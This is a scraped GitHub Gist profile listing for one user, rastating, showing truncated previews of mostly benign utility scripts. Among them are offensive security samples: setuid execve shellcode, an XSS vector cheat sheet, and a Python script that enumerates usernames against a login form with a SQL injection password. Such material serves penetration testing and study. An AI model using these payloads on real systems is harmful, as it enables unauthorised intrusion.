Skip to content

Instantly share code, notes, and snippets.

rastating / create-react-component.js
Last active Jun 18, 2019
A script to create the boilerplate code for a new React.js component with a [Jest] spec file
View create-react-component.js
#! /usr/bin/env node
# Usage: node create-react-component.js ComponentName
# Note: If a `components` directory does not exist in the current working directory, nothing will be created
const fs = require('fs')
const path = require('path')
const componentName = process.argv[2]
const componentPath = path.join(
#!/bin/sh -e
if [ $# != 3 ]
echo "usage: $0 <src-port> <dst-host> <dst-port>"
exit 0
TMP=`mktemp -d`
View 99_bottles_of_beer_on_the_wall.asm
global _start
section .text
xor ecx, ecx
mov cl, 0x63
mov eax, ecx
call convert_to_ascii
rastating / setuid_execve_shell.c
Last active Aug 23, 2018
Linux i686 setuid(0) execve shell (30 bytes)
View setuid_execve_shell.c
Title : Linux i686 setuid(0) execve shell (30 bytes)
Author : rastating
08048060 <_start>:
8048060: 31 db xor %ebx,%ebx
8048062: 8d 43 17 lea 0x17(%ebx),%eax
8048065: cd 80 int $0x80
8048067: 31 c9 xor %ecx,%ecx
8048069: 31 d2 xor %edx,%edx


cribbed from

Templates to remind you of the options and formatting for the different types of objects you might want to document using YARD.


# Namespace for classes and modules that handle serving documentation over HTTP
rastating / xss_vectors.txt
Created Apr 24, 2018 — forked from kurobeats/xss_vectors.txt
XSS Vectors Cheat Sheet
View xss_vectors.txt
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))">
rastating /
Last active Dec 29, 2017
A Python script to convert the dates in CSV exports from the Monzo mobile application into a format supported by QuickBooks Online. Requires the pandas package, which can be installed via pip.
from dateutil.parser import parse
import pandas as pd
import csv
import sys
if len(sys.argv) == 1:
print "Usage: [path to Monzo csv export]"
RED = "\033[1;31m"
View opendocman_database.sql
# MySQL dump of OpenDocMan
# Table structure for table 'odm_access_log'
CREATE TABLE `odm_access_log` (
`file_id` int(11) NOT NULL,
import requests
import sys
with open(sys.argv[1], 'r') as f:
for line in f:
sys.stdout.write("Trying username: %s \r" % line.strip())
r ="", data={ 'myusername' : line.strip(), 'mypassword' : "'or'a'='a", 'Submit' : 'Login' }, allow_redirects=True)
if r.text.find("Oups, something went wrong") == -1:
print "++ Found user %s ++" % line.strip()
rastating /
Created Jul 23, 2017
Helper script for validating files against SHA1 checksums
if [ "$#" -ne 2 ]
echo "Usage: sha1check [filename] [checksum]"
exit 1
echo "$2 *$1" | sha1sum -c -
You can’t perform that action at this time.